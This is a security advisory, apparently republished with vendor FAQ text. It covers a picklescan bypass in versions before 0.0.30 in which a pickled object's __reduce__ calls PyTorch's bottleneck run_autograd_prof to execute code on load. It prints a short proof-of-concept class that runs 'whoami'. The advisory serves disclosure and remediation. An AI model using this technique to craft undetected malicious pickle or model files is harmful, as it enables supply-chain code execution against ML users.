GHSA-4WHJ-RM5R-C2V8

Using torch.utils.bottleneck.__main__.run_autograd_prof function, which is a pytorch library function to execute remote pickle file.

Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to torch.utils.bottleneck.main.run_autograd_prof function in reduce method
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

PoC

import torch.utils.bottleneck.__main__ as bottleneck_main

class EvilTorchUtilsBottleneckRunAutogradProf:
    def __reduce__(self):
        code = '__import__("os").system("whoami")'
        globs = {}
        return bottleneck_main.run_autograd_prof, (code, globs)

Corresponding

https://github.com/FredericDT
https://github.com/Qhaoduoyu

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Kodem intelligence

1. What is GHSA-4WHJ-RM5R-C2V8? GHSA-4WHJ-RM5R-C2V8 is a medium-severity security vulnerability in picklescan (pip), affecting versions < 0.0.30. It is fixed in 0.0.30.
2. Which versions of picklescan are affected by GHSA-4WHJ-RM5R-C2V8? picklescan (pip) versions < 0.0.30 is affected.
3. Is there a fix for GHSA-4WHJ-RM5R-C2V8? Yes. GHSA-4WHJ-RM5R-C2V8 is fixed in 0.0.30. Upgrade to this version or later.
4. Is GHSA-4WHJ-RM5R-C2V8 exploitable, and should I be worried? Whether GHSA-4WHJ-RM5R-C2V8 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether GHSA-4WHJ-RM5R-C2V8 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix GHSA-4WHJ-RM5R-C2V8? Upgrade picklescan to 0.0.30 or later.

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